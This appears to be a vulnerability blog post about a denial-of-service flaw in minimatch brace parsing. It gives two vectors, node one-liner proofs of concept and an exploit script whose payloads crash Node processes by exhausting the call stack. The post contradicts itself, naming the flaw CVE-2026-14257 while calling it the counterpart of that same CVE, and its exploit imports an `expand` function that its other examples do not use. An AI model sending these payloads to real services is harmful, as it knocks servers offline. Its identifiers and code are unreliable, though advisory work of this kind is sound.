Listen to this Post
CVE-2026-14257 Mechanism
The vulnerability in `parseCommaParts()` allows an attacker to exhaust the native call stack and crash the process through two distinct vectors, both reachable from a single untrusted pattern string passed to expand(). This is the parsing-side counterpart to CVE-2026-14257 / GHSA-mh99-v99m-4gvg, where a previous fix made `expand_()` iterative and documented a constant-stack-depth guarantee. However, `parseCommaParts()` was left recursive, meaning that guarantee only held for one of the two parsing paths.
Vector 1 – Unbounded recursion on post: `parseCommaParts()` recurses on the remainder of the string once per brace group. A brace group containing many comma-separated groups drives one recursion level per group. For example, `expand(‘{‘ + ‘{a},’.repeat(7000) + ‘b}’)` triggers a RangeError: Maximum call stack size exceeded. Approximately 7,300 repetitions (roughly 29 KB of input) is enough on Node 24; roughly 6,300 (25 KB) on Node 18. The threshold is identical on every affected release line.
Vector 2 – push.apply with an unbounded array: Even with the recursion removed, `parseCommaParts()` spreads whole arrays into an argument list using `p.push.apply(p, postParts)` and parts.push.apply(parts, p). `Function.prototype.apply` places one argument per element on the stack, so a single large array overflows it. This requires no recursion depth at all – `expand(‘{{x},’ + ‘a,’.repeat(125000) + ‘b}’)` reaches a recursion depth of exactly 1 and still triggers RangeError: Maximum call stack size exceeded. The threshold is about 124,300 repetitions (~249 KB). This vector was not part of the original report; it was found while verifying the fix. A patch that only de-recurses but keeps `push.apply` leaves a working denial of service behind.
Why max and maxLength do not help: Both crashes occur during parsing, before any expansion. The payloads produce one result per group, so output size grows linearly with input and is never the limiter. Even `expand(payload, { max: 1, maxLength: 1 })` overflows.
DailyCVE Form
Platform: minimatch
Version: 1.1.18-10.2.6
Vulnerability: Stack exhaustion
Severity: High
date: 2026-09-29
Prediction: 2026-10-15
What Undercode Say
Vector 1 PoC
node -e "require('minimatch').braceExpand('{' + '{a},'.repeat(7000) + 'b}')"
Vector 2 PoC
node -e "require('minimatch').braceExpand('{{x},' + 'a,'.repeat(125000) + 'b}')"
Exploit: (Educational Purposes!)
const { expand } = require('minimatch');
// Vector 1: Unbounded recursion
const payload1 = '{' + '{a},'.repeat(7300) + 'b}';
expand(payload1, { max: 1, maxLength: 1 }); // RangeError: Maximum call stack size exceeded
// Vector 2: push.apply with unbounded array
const payload2 = '{{x},' + 'a,'.repeat(125000) + 'b}';
expand(payload2, { max: 1, maxLength: 1 }); // RangeError: Maximum call stack size exceeded
Protection: from this CVE
- Upgrade minimatch to a patched version where `parseCommaParts()` is rewritten as a loop carrying partial parts across chunks.
- Replace all `push.apply` calls with element-by-element loops.
- Validate and limit user-supplied glob patterns before passing to
expand(),braceExpand(), orMinimatch(). - Implement process-level exception handling to catch `RangeError` and prevent termination.
Impact
Any application passing an untrusted string to `expand()` – directly or through minimatch/glob as a user-supplied glob pattern – can be crashed. In Node, an uncaught `RangeError` terminates the process, exposing servers that glob user input to remote unauthenticated denial of service. This is an availability-only issue with no code execution or data exposure.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

